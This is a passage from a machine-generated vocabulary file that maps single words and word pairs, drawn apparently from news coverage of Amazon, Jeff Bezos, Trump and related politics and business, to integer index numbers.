196339, "siphoned": 196340, "care companies": 196341, "matthew weiner": 196342, "150bn reuters": 196343, "business travel": 196344, "smith president": 196345, "readers sound": 196346, "mail perpetrators": 196347, "river upstream": 196348, "book review": 196349, "resolution according": 196350, "p0 f4": 196351, "zuckerberg google": 196352, "acquiring superpowers": 196353, "people according": 196354, "constitutional principles": 196355, "journalism revenues": 196356, "singles music": 196357, "everett": 196358, "nbc abc": 196359, "slapped special": 196360, "tesla appears": 196361, "amobiinc": 196362, "ban case": 196363, "exactly share": 196364, "older generation": 196365, "doesn want": 196366, "salt airs": 196367, "jared": 196368, "journal sanchez": 196369, "wonder especially": 196370, "optimizing outcomes": 196371, "including son": 196372, "filmmaker woody": 196373, "cargo pioneer": 196374, "area isn": 196375, "thecounter": 196376, "misses peek": 196377, "mapping": 196378, "usps proposed": 196379, "amazon effect": 196380, "tracking users": 196381, "hispanic west": 196382, "taxpayers lose": 196383, "heartache": 196384, "home computer": 196385, "drop suggests": 196386, "travel requests": 196387, "crime podcast": 196388, "members demonstrating": 196389, "aggressive conglomerate": 196390, "bottoms": 196391, "curiously trump": 196392, "tropicana cranberry": 196393, "fought years": 196394, "expert regressive": 196395, "kennedy approaches": 196396, "bowes": 196397, "lecher": 196398, "candid don": 196399, "supporting defense": 196400, "nea": 196401, "vacuum insulated": 196402, "business mogul": 196403, "internet extension": 196404, "case actually": 196405, "wrote ellison": 196406, "fictional adventures": 196407, "topfilelocation": 196408, "president ability": 196409, "spencer dinwiddie": 196410, "goodlatte claim": 196411, "keeps sliding": 196412, "welcome ken": 196413, "acclaimed sci": 196414, "make facebook": 196415, "interim tax": 196416, "buy kitchen": 196417, "menu": 196418, "suggested bezos": 196419, "parra": 196420, "weisberger check": 196421, "peer payments": 196422, "collect goods": 196423, "sold 21m": 196424, "a4ee v8": 196425, "a4ee x1": 196426, "online instead": 196427, "yewande finds": 196428, "safe workplace": 196429, "just moving": 196430, "partenheimer": 196431, "builds price": 196432, "cnr somewhat": 196433, "financially according": 196434, "huddled": 196435, "jessica harper": 196436, "eddie": 196437, "york tax": 196438, "senators including": 196439, "helps customers": 196440, "amazon asking": 196441, "coded flash": 196442, "source drew": 196443, "decide soon": 196444, "subtle art": 196445, "children away": 196446, "deliver high": 196447, "deal fbi": 196448, "checklist": 196449, "girl reads": 196450, "nalc totally": 196451, "makes healthy": 196452, "rolnik joe": 196453, "murder takes": 196454, "new regulations": 196455, "receive medical": 196456, "dropped plans": 196457, "goose liver": 196458, "prize nominated": 196459, "pie naps": 196460, "billion price": 196461, "tango diamond": 196462, "really jumped": 196463, "online searches": 196464, "xi": 196465, "peers facebook": 196466, "unions say": 196467, "designation": 196468, "peace talks": 196469, "year 2017": 196470, "customer doors": 196471, "spurs": 196472, "spongebob": 196473, "add guests": 196474, "conservative organization": 196475, "folks spoke": 196476, "richard": 196477, "999999": 196478, "dumbest": 196479, "grand opening": 196480, "public report": 196481, "hr director": 196482, "sisk": 196483, "topics t000002771": 196484, "repeatedly borrow": 196485, "tax penalties": 196486, "increased nearly": 196487, "entry won": 196488, "melody played": 196489, "attribution emphasized": 196490, "funky mystique": 196491, "discussion forums": 196492, "premiums": 196493, "guide": 196494, "hand sessions": 196495, "than\u0430his": 196496, "dpa afp": 196497, "established law": 196498, "various topics": 196499, "dc neighborhood": 196500, "gained ownership": 196501, "action alert": 196502, "presidential primary": 196503, "committee gianaris": 196504, "scientists modify": 196505, "949 billion": 196506, "fintech apps": 196507, "nahmias nick": 196508, "happiness": 196509, "mcdougal donald": 196510, "tegna": 196511, "especially jeff": 196512, "kirchner": 196513, "parachute packagejoin": 196514, "writer letters": 196515, "affairs veterans": 196516, "guggenheim minerd": 196517, "ina garten": 196518, "photo recognition": 196519, "elienyc": 196520, "numbers george": 196521, "bezos leak": 196522, "kevin kline": 196523, "intuition leading": 196524, "panicking": 196525, "goofy sketch": 196526, "passy 415": 196527, "present barriers": 196528, "computing eggs": 196529, "site biggest": 196530, "military documents": 196531, "sound ratcheting": 196532, "things noticed": 196533, "ongoing crusade": 196534, "mob descriptionplaintext": 196535, "trendier clothes": 196536, "alleghany corp": 196537, "ailing metro": 196538, "aligned business": 196539, "justifications reasonably": 196540, "billion illinois": 196541, "futures pipe": 196542, "themedia democrat": 196543, "news ben": 196544, "deep pocketed": 196545, "overnight funny": 196546, "raise rates": 196547, "article yield": 196548, "trump resulting": 196549, "bought local": 196550, "rich private": 196551, "spavor unlike": 196552, "promised problems": 196553, "news 2018": 196554, "including vice": 196555, "luke": 196556, "presidential figurine": 196557, "chevrolets": 196558, "refereeing complicates": 196559, "thesubsidies": 196560, "managing employees": 196561, "carell bezos": 196562, "endorsed warren": 196563, "respond especially": 196564, "schmid": 196565, "ireland foreign": 196566, "marty kiar": 196567, "giant amazon": 196568, "salaries": 196569, "jobs felt": 196570, "money case": 196571, "trump backed": 196572, "story parkland": 196573, "clark charlotte": 196574, "nightmarish culture": 196575, "california reinvestment": 196576, "season rush": 196577, "ruling does": 196578, "legion": 196579, "act instructing": 196580, "wildly different": 196581, "trained": 196582, "roelof van": 196583, "concealing": 196584, "fancy tech": 196585, "sins avoiding": 196586, "nuzzi": 196587, "inside knowledge": 196588, "pharmaceuticals factors": 196589, "studios strideline": 196590, "good flashlight": 196591, "magazine threatened": 196592, "jinping zuckerberg": 196593, "profit customer": 196594, "times column": 196595, "credit mark": 196596, "customer rating": 196597, "affecting major": 196598, "disgraced fbi": 196599, "busing strife": 196600, "originally thought": 196601, "officials hostile": 196602, "duffel toiletry": 196603, "accessing": 196604, "pillar": 196605, "street make": 196606, "far bezos": 196607, "consistent target": 196608, "agencies appropriations": 196609, "w6 protocol": 196610, "joint hearing": 196611, "constraints required": 196612, "personal kindle": 196613, "grade learning": 196614, "specfics": 196615, "impact amazon": 196616, "truck pulled": 196617, "publicly alleging": 196618, "great government": 196619, "leo": 196620, "contrast deal": 196621, "videocardcontents headlineplaintext": 196622, "bizarre claims": 196623, "census tract": 196624, "castle look": 196625, "office praised": 196626, "sidebar": 196627, "identified curious": 196628, "pigment": 196629, "ecommerce cloud": 196630, "proposed ultramillionaires": 196631, "official version": 196632, "customer currently": 196633, "server motherboards": 196634, "media amazon": 196635, "jemmons": 196636, "white privilege": 196637, "grumpy nasdaq": 196638, "mentors offer": 196639, "past emily": 196640, "ecommerce space": 196641, "primary trump": 196642, "management capitalism": 196643, "frequently force": 196644, "relationship expect": 196645, "reports hold": 196646, "1926 moved": 196647, "minister benjamin": 196648, "microsoft paved": 196649, "services unit": 196650, "hastens": 196651, "encompasses variety": 196652, "590 shares": 196653, "foreclosure horror": 196654, "rainforest": 196655, "1740s using": 196656, "equity original": 196657, "treasonous": 196658, "tom tingle": 196659, "stumbles remember": 196660, "spent talking": 196661, "singular voice": 196662, "washingtonpost loses": 196663, "cid sm_npd_nn_tw_np": 196664, "confession tape": 196665, "possible referral": 196666, "amid stiff": 196667, "asking tough": 196668, "touched": 196669, "trump escalated": 196670, "gains": 196671, "families fund": 196672, "executive suite": 196673, "especially concerned": 196674, "earnings ahead": 196675, "williams divorce": 196676, "receive bonuses": 196677, "ago corporations": 196678, "produce great": 196679, "family executive": 196680, "chris edwards": 196681, "key americanallies": 196682, "rashomon ponti": 196683, "rallies winds": 196684, "regular critic": 196685, "frame width": 196686, "kiese laymon": 196687, "year marriage": 196688, "long positive": 196689, "governments nationwide": 196690, "44th": 196691, "wadhwa tech": 196692, "wage costs": 196693, "news amazonnews": 196694, "temple kol": 196695, "fusion voting": 196696, "battle wish": 196697, "tweeted jeff": 196698, "giant cloud": 196699, "targettype timestampdisplay": 196700, "allegations intended": 196701, "bupkiss": 196702, "taste craig": 196703, "93m value": 196704, "automatically eliminating": 196705, "171034414": 196706, "gives propaganda": 196707, "new set": 196708, "ban finalized": 196709, "false a1": 196710, "rates ticked": 196711, "dispassionate": 196712, "internet instant": 196713, "lower open": 196714, "amazon little": 196715, "mozzarella wrapped": 196716, "doorbell wiring": 196717, "goods representing": 196718, "trump predicted": 196719, "creep higher": 196720, "income residents": 196721, "sympathetic response": 196722, "amazons monopoly": 196723, "represents days": 196724, "newsworthy questions": 196725, "182 hotels": 196726, "nixes": 196727, "personal vision": 196728, "temporarily confined": 196729, "man mysterious": 196730, "experimental hybrid": 196731, "gwl": 196732, "300x200 getty_1126502092_387831": 196733, "complex divorces": 196734, "finance numbers": 196735, "wood attempted": 196736, "self preservation": 196737, "bowie binge": 196738, "bezos founded": 196739, "ivy": 196740, "ur": 196741, "massive income": 196742, "expand operations": 196743, "number directly": 196744, "scruff": 196745, "maybe trump": 196746, "senior government": 196747, "installed conservative": 196748, "compressed president": 196749, "compressed version": 196750, "wasnot": 196751, "keyless": 196752, "dishonest groups": 196753, "dragging limp": 196754, "2016 vanity": 196755, "kristin chenoweth": 196756, "toothpaste": 196757, "billion 124": 196758, "lamb draw": 196759, "raging spirit": 196760, "shopper buying": 196761, "comment easy": 196762, "strike scam": 196763, "spoke critically": 196764, "peternell william": 196765, "conference called": 196766, "uneasy": 196767, "appointee amazon": 196768, "lobbyist following": 196769, "brexit looking": 196770, "absolute bar": 196771, "837 rise": 196772, "don forget": 196773, "senior career": 196774, "johnson senior": 196775, "committed extortion": 196776, "started petition": 196777, "5bn amazon": 196778, "carmen melillo": 196779, "scott rogowsky": 196780, "movie database": 196781, "sex spies": 196782, "company operated": 196783, "obscure energy": 196784, "radio interviews": 196785, "pisani nightly": 196786, "large corporations": 196787, "enquirer failed": 196788, "dangerous territory": 196789, "trump ally": 196790, "repugnant": 196791, "hierarchies": 196792, "seen marvel": 196793, "unwrapped box": 196794, "r4ee t5q": 196795, "invest mngmt": 196796, "espionage charges": 196797, "employees including": 196798, "harassment retaliation": 196799, "tv best": 196800, "literature random": 196801, "congressional passage": 196802, "talkpoverty": 196803, "baxter": 196804, "broad issues": 196805, "appreciable content": 196806, "innovative champions": 196807, "nationals washington": 196808, "market think": 196809, "adventure cookbook": 196810, "funding local": 196811, "ami promised": 196812, "ducey ends": 196813, "examiner office": 196814, "600x400": 196815, "shows big": 196816, "221 comments": 196817, "sporadic": 196818, "old mailbox": 196819, "daily reached": 196820, "abating presumably": 196821, "big play": 196822, "spectator": 196823, "deutsch don": 196824, "yelp told": 196825, "amazon thrilled": 196826, "determining factor": 196827, "543 bought": 196828, "businesses allegations": 196829, "picketing": 196830, "game right": 196831, "fortune totaling": 196832, "hq2 search": 196833, "previously suggested": 196834, "trump troll": 196835, "campaign manager": 196836, "election fight": 196837, "extremely paid": 196838, "based recommendation": 196839, "owner jeff": 196840, "loses money": 196841, "brazil vulnerable": 196842, "joint letter": 196843, "long amazon": 196844, "680": 196845, "trump suggest": 196846, "money state": 196847, "tech power": 196848, "000 donated": 196849, "paris refresher": 196850, "israel chuck": 196851, "demanding million": 196852, "saint certainly": 196853, "hard liner": 196854, "financial woes": 196855, "overvalued based": 196856, "colder": 196857, "content watch": 196858, "communist party": 196859, "bolsonaro trump": 196860, "potential maneuvers": 196861, "washington media": 196862, "troops making": 196863, "assistant named": 196864, "shitty situation": 196865, "rankles": 196866, "adults school": 196867, "ceiling": 196868, "quickly drew": 196869, "wmt revenues": 196870, "jacob lew": 196871, "adil": 196872, "getting pushback": 196873, "orwhatever": 196874, "final comments": 196875, "broke": 196876, "suppliers": 196877, "currentvideocollection autostart": 196878, "russian national": 196879, "csr includes": 196880, "conglomerate run": 196881, "650 million": 196882, "right najarian": 196883, "google earned": 196884, "pret store": 196885, "held hearing": 196886, "brit george": 196887, "alphabet": 196888, "motorbike scenes": 196889, "making single": 196890, "article38253336": 196891, "just deer": 196892, "struck near": 196893, "financial contributions": 196894, "services note": 196895, "finally know": 196896, "buddy": 196897, "manor": 196898, "trading moving": 196899, "injured wildlife": 196900, "target people": 196901, "second headquarter": 196902, "don agree": 196903, "assigned": 196904, "hyped hq2": 196905, "budget talks": 196906, "class colleges": 196907, "president adversary": 196908, "55th": 196909, "burlington attorney": 196910, "reportedly supporter": 196911, "retrains close": 196912, "rollout": 196913, "surpass": 196914, "turnaround chinese": 196915, "new impeachable": 196916, "crew": 196917, "deaths california": 196918, "obtain": 196919, "prout": 196920, "shot heard": 196921, "persons events": 196922, "desired consumption": 196923, "policy reported": 196924, "hockey arena": 196925, "recent post": 196926, "illegal votes": 196927, "starts": 196928, "lebron": 196929, "iheartradio": 196930, "shunning": 196931, "resettle": 196932, "popular television": 196933, "carrying banners": 196934, "despite swelling": 196935, "service fed": 196936, "postal task": 196937, "cargo customer": 196938, "shadowbanning": 196939, "including grab": 196940, "change compared": 196941, "epoch times": 196942, "denigration": 196943, "sold collective": 196944, "assigning attributable": 196945, "washington arguing": 196946, "burden consider": 196947, "political lobbying": 196948, "scab": 196949, "people stealing": 196950, "nepotism": 196951, "navy aviator": 196952, "range year": 196953, "nbc charlotte": 196954, "l4 l4": 196955, "exaggerated amazon": 196956, "eld rules": 196957, "expect plenty": 196958, "unloading shelves": 196959, "2020 contender": 196960, "haverty larry": 196961, "barbeque": 196962, "better terminals": 196963, "targets wall": 196964, "keyless entry": 196965, "educational institutions": 196966, "ended mandate": 196967, "political campaigns": 196968, "rep david": 196969, "socially awkward": 196970, "trump taunted": 196971, "writing politico": 196972, "comments touch": 196973, "including temporary": 196974, "venezuelan": 196975, "win congress": 196976, "hamm mad": 196977, "nike fell": 196978, "sectionuri": 196979, "postal workers": 196980, "attend classes": 196981, "anybody notice": 196982, "bi graphics": 196983, "audible rebuke": 196984, "good luck": 196985, "award probably": 196986, "practicing": 196987, "cause violence": 196988, "school citing": 196989, "tap deep": 196990, "gawande influence": 196991, "father real": 196992, "philip purcell": 196993, "ohio hillbilly": 196994, "banking food": 196995, "state government": 196996, "regulator floats": 196997, "sellers cheapskates": 196998, "b0 function": 196999, "revoked cnn": 197000, "surges": 197001, "nc": 197002, "leaders enthusiastically": 197003, "city chief": 197004, "pecker expressed": 197005, "prove trump": 197006, "actual post": 197007, "hold bad": 197008, "announcing results": 197009, "fargo ap": 197010, "advertising team": 197011, "hadn threatened": 197012, "play rigged": 197013, "clearly believes": 197014, "accused google": 197015, "dating initiative": 197016, "second challenge": 197017, "financial regulation": 197018, "lynnette khalfani": 197019, "nicholas young": 197020, "r4ee p6": 197021, "feed": 197022, "airing innuendo": 197023, "year run": 197024, "shaw": 197025, "isn bad": 197026, "essential reading": 197027, "puts taxpayers": 197028, "promote": 197029, "city hoenig": 197030, "jovial": 197031, "inequities": 197032, "waning global": 197033, "stats": 197034, "help prevent": 197035, "yuma": 197036, "costly promotion": 197037, "ultimately allows": 197038, "copy cat": 197039, "began grumbling": 197040, "jobs labor": 197041, "aws secret": 197042, "maloney": 197043, "anne sjostrom": 197044, "eisenbach stop": 197045, "taxes roughly": 197046, "increased development": 197047, "institute research": 197048, "fake brands": 197049, "chye": 197050, "really cool": 197051, "rtd holds": 197052, "understand exactly": 197053, "war centenary": 197054, "welcome reopening": 197055, "losses hillicon": 197056, "process process": 197057, "richard levy": 197058, "catholic priests": 197059, "similar ideas": 197060, "making lousy": 197061, "tremendous cost": 197062, "cantor": 197063, "bezos purchased": 197064, "cooper writing": 197065, "trump sources": 197066, "deny unlike": 197067, "gayle": 197068, "shows popstar": 197069, "rush apostle": 197070, "judiciary panel": 197071, "unconstitutionally usurp": 197072, "cross purposes": 197073, "forte suggests": 197074, "company called": 197075, "uncharacteristically lead": 197076, "tweets late": 197077, "unwanted option": 197078, "nelson": 197079, "strict guidelines": 197080, "destroying local": 197081, "american soil": 197082, "flying high": 197083, "episode mocked": 197084, "teacher": 197085, "dresden": 197086, "gun democrats": 197087, "saidthat": 197088, "defended rekognition": 197089, "meta_description": 197090, "tells kim": 197091, "ruin nations": 197092, "technology industry": 197093, "moved forward": 197094, "current labor": 197095, "scans pictures": 197096, "king": 197097, "cause prices": 197098, "california colleague": 197099, "switch platforms": 197100, "right continuing": 197101, "youll": 197102, "rally looked": 197103, "unfruitful settlement": 197104, "emoluments": 197105, "bombs eminently": 197106, "math drills": 197107, "mitt": 197108, "properties hypocrisy": 197109, "16pm": 197110, "amazons entire": 197111, "watching videos": 197112, "trump action": 197113, "mark lapidus": 197114, "srk": 197115, "amazon claims": 197116, "gerrymandering makes": 197117, "economy trumps": 197118, "tendency": 197119, "warren warned": 197120, "robert strong": 197121, "dominating commerce": 197122, "trump hits": 197123, "temporary embarrassment": 197124, "green space": 197125, "winding refn": 197126, "feud inevitably": 197127, "enemy saudi": 197128, "tommy": 197129, "restricting": 197130, "fort collins": 197131, "sanchez posted": 197132, "settlers": 197133, "governor maryland": 197134, "senate republicans": 197135, "fa ba": 197136, "dominance local": 197137, "pitting wwe": 197138, "cities vying": 197139, "2019 law": 197140, "turkish central": 197141, "doing people": 197142, "conditions high": 197143, "analytic services": 197144, "australian": 197145, "rapidly changing": 197146, "know pushed": 197147, "killers": 197148, "mary sue": 197149, "closed": 197150, "dream life": 197151, "contradicting": 197152, "traditional communities": 197153, "warning": 197154, "quality controls": 197155, "correspondent writes": 197156, "work defending": 197157, "shepardson additional": 197158, "southfield mich": 197159, "national doral": 197160, "small time": 197161, "amazon tout": 197162, "eavesdropping posted": 197163, "slavish": 197164, "jurisdictions corporations": 197165, "amistad ny": 197166, "elsie": 197167, "concerns limo": 197168, "exercises reports": 197169, "evil human": 197170, "pagevis": 197171, "gianaris new": 197172, "amazon shortlist": 197173, "company placate": 197174, "michaelcohen": 197175, "lives better": 197176, "politically correct": 197177, "created keeping": 197178, "trump interests": 197179, "slightly backed": 197180, "comment appearance": 197181, "sullivan meaningful": 197182, "shoulder fired": 197183, "appointed acting": 197184, "tweeted information": 197185, "long shown": 197186, "excruciatingly embarrassing": 197187, "self created": 197188, "283": 197189, "chinas retaliation": 197190, "pundit": 197191, "ironic discrepancy": 197192, "brush": 197193, "landing right": 197194, "income increments": 197195, "new deliveryservice": 197196, "balls fireworks": 197197, "world view": 197198, "trump obstructed": 197199, "conditions american": 197200, "amazon set": 197201, "maxsa decided": 197202, "democrats fell": 197203, "driving turnout": 197204, "fagan associate": 197205, "publish report": 197206, "demean": 197207, "sister father": 197208, "paying 150": 197209, "john le": 197210, "195229": 197211, "tech business": 197212, "chief hours": 197213, "pay federal": 197214, "price did": 197215, "raiding": 197216, "failed vote": 197217, "businessman eager": 197218, "skit closed": 197219, "latest tweets": 197220, "warren outlined": 197221, "mean earnings": 197222, "trade commissioner": 197223, "unearthed": 197224, "intimate bits": 197225, "dissenting opinions": 197226, "later adopted": 197227, "jury": 197228, "amazon flexispot": 197229, "single dad": 197230, "proclaims": 197231, "deal deliveries": 197232, "financially beneficial": 197233, "bezos carell": 197234, "created massive": 197235, "isembeddable": 197236, "2020 attack": 197237, "hearts": 197238, "triumphs": 197239, "waging public": 197240, "goodreads ads": 197241, "local food": 197242, "warehouses earlier": 197243, "magnificent contribution": 197244, "mclemore hometown": 197245, "obama aide": 197246, "personality megyn": 197247, "cute little": 197248, "disrespecting donald": 197249, "cnbcaround": 197250, "paid single": 197251, "material capability": 197252, "amazon blitz": 197253, "instance thereof": 197254, "artificially raise": 197255, "advisers similar": 197256, "brand amazon": 197257, "dam construction": 197258, "business investments": 197259, "markedly": 197260, "latest sign": 197261, "war means": 197262, "fact according": 197263, "claims protest": 197264, "enforcement candidates": 197265, "buying better": 197266, "comp policies": 197267, "wasreporting": 197268, "league footballer": 197269, "implicate trump": 197270, "interfere editorially": 197271, "barbara kingsolver": 197272, "fed minutes": 197273, "100 places": 197274, "deeply committed": 197275, "censor conservatives": 197276, "having served": 197277, "pleasant management": 197278, "carol burnett": 197279, "secret weapon": 197280, "whistleblower earns": 197281, "initiated meetings": 197282, "tell thr": 197283, "garten": 197284, "pane vino": 197285, "meals including": 197286, "particularly recruit": 197287, "imminent disaster": 197288, "typically gain": 197289, "night": 197290, "advsrs california": 197291, "benson portland": 197292, "president dinner": 197293, "twitter numerous": 197294, "hate talking": 197295, "violate rights": 197296, "adult life": 197297, "plan germany": 197298, "consecutive paychecks": 197299, "rates suggesting": 197300, "jolie fires": 197301, "obtuse": 197302, "commission brennan": 197303, "gop amazon": 197304, "america\u00e2": 197305, "tilda": 197306, "roads uber": 197307, "spokespeople haven": 197308, "lead reporter": 197309, "norman sc": 197310, "inauthentic reviews": 197311, "highly technical": 197312, "chosen policy": 197313, "sto pff": 197314, "great stretch": 197315, "tweeted photo": 197316, "key assets": 197317, "double bagged": 197318, "leaning adults": 197319, "parting": 197320, "jets swanky": 197321, "elected bolsonaro": 197322, "enquirer tabloid": 197323, "memo dod": 197324, "illustrated tightening": 197325, "tv working": 197326, "vendor coverage": 197327, "million circulation": 197328, "shares california": 197329, "freedom restoration": 197330, "slow cooker": 197331, "amazon ap": 197332, "associate told": 197333, "heavy places": 197334, "worser": 197335, "900 mini1x1": 197336, "jill levine": 197337, "ego": 197338, "foreman": 197339, "york yankees": 197340, "guiding principle": 197341, "preference woman": 197342, "public outreach": 197343, "civil rights": 197344, "states play": 197345, "loser executives": 197346, "surigao": 197347, "earlier begged": 197348, "a4ee d0": 197349, "wireto record": 197350, "progressive icon": 197351, "doerr": 197352, "character patriot": 197353, "beat clinton": 197354, "canada mexico": 197355, "demand company": 197356, "biggest crony": 197357, "usps isn": 197358, "progressives ignoring": 197359, "catering": 197360, "visual effects": 197361, "audio division": 197362, "presidential candidacy": 197363, "mile problem": 197364, "ceo text": 197365, "mexico georgia": 197366, "public urinals": 197367, "pretty clearly": 197368, "significant change": 197369, "blac chyna": 197370, "barriers new": 197371, "international effects": 197372, "push following": 197373, "maduro interview": 197374, "usa humanitarian": 197375, "jo ling": 197376, "zuckerberg nadella": 197377, "lapd presence": 197378, "extended times": 197379, "looks abundantly": 197380, "africa died": 197381, "care salesman": 197382, "carrier partnerships": 197383, "amazon generated": 197384, "locals": 197385, "enquirer mainstream": 197386, "reopen government": 197387, "using skdknickerbocker": 197388, "luke sharrett": 197389, "legislative response": 197390, "asphyxiation": 197391, "different poses": 197392, "growing powers": 197393, "written string": 197394, "briefs harley": 197395, "platforms open": 197396, "pope emeritus": 197397, "tabloid leaks": 197398, "anti ice": 197399, "group proposed": 197400, "trump inner": 197401, "medical daydreams": 197402, "appear consistent": 197403, "philanderer": 197404, "double yellow": 197405, "undermined": 197406, "staring": 197407, "robin hood": 197408, "longstanding allegiance": 197409, "theorized": 197410, "ruin barrage": 197411, "flynn": 197412, "plaintiffs sought": 197413, "ortega euro": 197414, "iridescent onion": 197415, "network negotiating": 197416, "tawdry": 197417, "program giannandrea": 197418, "software provider": 197419, "twitter offer": 197420, "article38073257": 197421, "gang monsters": 197422, "corporations pay": 197423, "day breaking": 197424, "powered earnings": 197425, "outside suppliers": 197426, "foxbusiness": 197427, "190306 bezos": 197428, "lentil dog": 197429, "strange movies": 197430, "developing training": 197431, "walmart shopping": 197432, "hostile campaign": 197433, "employees saw": 197434, "outed": 197435, "campaign": 197436, "pure hatred": 197437, "girl learning": 197438, "cantwell wash": 197439, "investors pause": 197440, "inc_typid inc_staid": 197441, "trump movie": 197442, "wholesale corp": 197443, "securities fraud": 197444, "christmas season": 197445, "old ways": 197446, "landings enabling": 197447, "2017 tried": 197448, "kept insisting": 197449, "investor advice": 197450, "trump anger": 197451, "selection driver": 197452, "surged nearly": 197453, "funko": 197454, "withdraw money": 197455, "basically impatient": 197456, "sentiment": 197457, "tennessee primaries": 197458, "highland park": 197459, "worker collects": 197460, "lead cnl_featuretype": 197461, "long new": 197462, "short stories": 197463, "various restrictions": 197464, "meet amazon": 197465, "negative attacks": 197466, "superbugs recovery": 197467, "fairly modest": 197468, "2019 snoqualmie": 197469, "bookseller association": 197470, "1960 sytle": 197471, "enddate 2f19": 197472, "bob crockett": 197473, "swooping": 197474, "crunch maura": 197475, "california california": 197476, "countries accusing": 197477, "exposed mark": 197478, "reps visit": 197479, "computers amazon": 197480, "regarded economist": 197481, "broader attacks": 197482, "fine dining": 197483, "time high": 197484, "impose racist": 197485, "radar amazon": 197486, "selling unlawful": 197487, "mathias": 197488, "presently using": 197489, "tells cudjo": 197490, "trump hostility": 197491, "accepts": 197492, "ethics officials": 197493, "performed searches": 197494, "siminoff geekwire": 197495, "think aws": 197496, "rallying": 197497, "unhinged conservative": 197498, "giessen": 197499, "company participant": 197500, "increasingly hawking": 197501, "helpless mammals": 197502, "enjoy fewer": 197503, "belgium brazil": 197504, "swaying violently": 197505, "da nang": 197506, "injuries": 197507, "advisors boasted": 197508, "history treasury": 197509, "ricci firm": 197510, "debilitating health": 197511, "york politics": 197512, "times style": 197513, "time chooses": 197514, "wing netanyahu": 197515, "fully profitable": 197516, "later followed": 197517, "wanderer": 197518, "floated similar": 197519, "synovus reported": 197520, "absurd scoop": 197521, "higher customer": 197522, "market anniversary": 197523, "retirement sys": 197524, "state washington": 197525, "delivering new": 197526, "somewhat ironic": 197527, "wealthy interests": 197528, "geopolitical implications": 197529, "kimmel grilled": 197530, "jassy andrew": 197531, "business holdings": 197532, "weaving": 197533, "paranoia spreads": 197534, "alito": 197535, "throat earvil": 197536, "google nasdaq": 197537, "lengthening list": 197538, "elegance": 197539, "xb": 197540, "llc concludes": 197541, "halbert": 197542, "bezos suspicions": 197543, "corp xom": 197544, "self promoting": 197545, "house driverless": 197546, "chayes": 197547, "month included": 197548, "section domestic": 197549, "offers story": 197550, "caption mike": 197551, "ceo leen": 197552, "jr meeting": 197553, "coalition members": 197554, "old adage": 197555, "isn actually": 197556, "metropolitan museum": 197557, "portland global": 197558, "tie wires": 197559, "sell seats": 197560, "running broward": 197561, "fourth amazon": 197562, "predatory litigation": 197563, "soon going": 197564, "5e383231323b626f6c6465725f6e6577735f616374696f6e ref_url": 197565, "lawsuits arise": 197566, "fredericks 415": 197567, "handle expanded": 197568, "flu strain": 197569, "transfer battle": 197570, "trifecta amazon": 197571, "omarosa book": 197572, "client note": 197573, "senate confirms": 197574, "threaten retribution": 197575, "right ig": 197576, "carell hosted": 197577, "blacq exclusive": 197578, "stumble just": 197579, "representing net": 197580, "squeezing better": 197581, "credit similarweb": 197582, "man famous": 197583, "walk frustration": 197584, "ct 735": 197585, "dynamo": 197586, "downgrades exxonmobil": 197587, "vokaw500vq": 197588, "quarterly finances": 197589, "domestic policy": 197590, "tailed billionaire": 197591, "lot lately": 197592, "2019 trump": 197593, "numbersmuncher": 197594, "magnetism": 197595, "government programs": 197596, "500 director": 197597, "image 0x367": 197598, "national candidates": 197599, "audible touts": 197600, "microsoft google": 197601, "fedex recently": 197602, "average": 197603, "weeks later": 197604, "bipartisanship won": 197605, "delhi tech": 197606, "multiple provisions": 197607, "administration reps": 197608, "nvidia potential": 197609, "upstate downstate": 197610, "delive": 197611, "harassment scandals": 197612, "automotive fashion": 197613, "residents voting": 197614, "reduce demand": 197615, "photos cuba": 197616, "want anybody": 197617, "bolsonaro mentions": 197618, "arivale": 197619, "ray bradbury": 197620, "billion divorce": 197621, "privacy officer": 197622, "ap content": 197623, "country national": 197624, "fake headlines": 197625, "nita lowey": 197626, "project jedi": 197627, "amazon staffers": 197628, "charge market": 197629, "provide competitive": 197630, "america better": 197631, "amazon eyes": 197632, "montana missouri": 197633, "point clogged": 197634, "videoplay": 197635, "conversation emphasized": 197636, "bookfunnel": 197637, "savaging": 197638, "348": 197639, "trillion 2017": 197640, "1924 orwell": 197641, "amazon sports": 197642, "2017 announcing": 197643, "fernando henrique": 197644, "project": 197645, "otherwords": 197646, "joke donald": 197647, "oline": 197648, "virgina": 197649, "week shame": 197650, "warning minors": 197651, "thanksgiving 2018": 197652, "germany mexico": 197653, "respectful exchanges": 197654, "amazon carries": 197655, "charter charter": 197656, "largest competitor": 197657, "allergic reactions": 197658, "amazon illegal": 197659, "fixes": 197660, "read ballantine": 197661, "wordplay": 197662, "department fairly": 197663, "jpmorgan retakes": 197664, "bianco": 197665, "765": 197666, "quantity": 197667, "series folklore": 197668, "interviews andrea": 197669, "chau wrote": 197670, "staff paywall": 197671, "todd williamson": 197672, "trump dominates": 197673, "photo palinchak": 197674, "sectors away": 197675, "karp cap": 197676, "448 pages": 197677, "used key": 197678, "different place": 197679, "fulfillment tweeted": 197680, "names princess": 197681, "ruby": 197682, "conference maitland": 197683, "cooled": 197684, "emma roller": 197685, "lieutenant governor": 197686, "colonial history": 197687, "caste": 197688, "tweets critical": 197689, "agent looking": 197690, "surge protector": 197691, "branch deals": 197692, "fed calf": 197693, "candidate troy": 197694, "coinciding": 197695, "surcharge today": 197696, "old dog": 197697, "list runs": 197698, "took considerable": 197699, "law adding": 197700, "potential investors": 197701, "controlled house": 197702, "profit multiple": 197703, "read spark": 197704, "drug industry": 197705, "tr1 trc0": 197706, "truth": 197707, "applicants amazon": 197708, "crushed analysts": 197709, "italy matteo": 197710, "2113 sanders": 197711, "music industry": 197712, "episode sci": 197713, "plans directed": 197714, "breaks climate": 197715, "backfiring": 197716, "company really": 197717, "virtuous": 197718, "exact details": 197719, "lol": 197720, "rallies": 197721, "spurious claims": 197722, "joe mcdonald": 197723, "community leaders": 197724, "tax advantages": 197725, "inspiration delivered": 197726, "particular strain": 197727, "official communications": 197728, "include buying": 197729, "super carb": 197730, "flashier presence": 197731, "precise": 197732, "angeles occasions": 197733, "conference transcript": 197734, "democratic": 197735, "holocaust deniers": 197736, "offered variety": 197737, "force really": 197738, "old alliances": 197739, "direct flights": 197740, "aramco current": 197741, "added bezos": 197742, "jack lew": 197743, "gianforte": 197744, "ruthless king": 197745, "ge management": 197746, "money rush": 197747, "freedom hysteria": 197748, "tiananmen": 197749, "164": 197750, "ailing father": 197751, "historic dc": 197752, "contains extra": 197753, "feeding": 197754, "dttm": 197755, "names": 197756, "country major": 197757, "story sports": 197758, "including support": 197759, "team mueller": 197760, "apparently remain": 197761, "trump says": 197762, "intense hour": 197763, "remain modest": 197764, 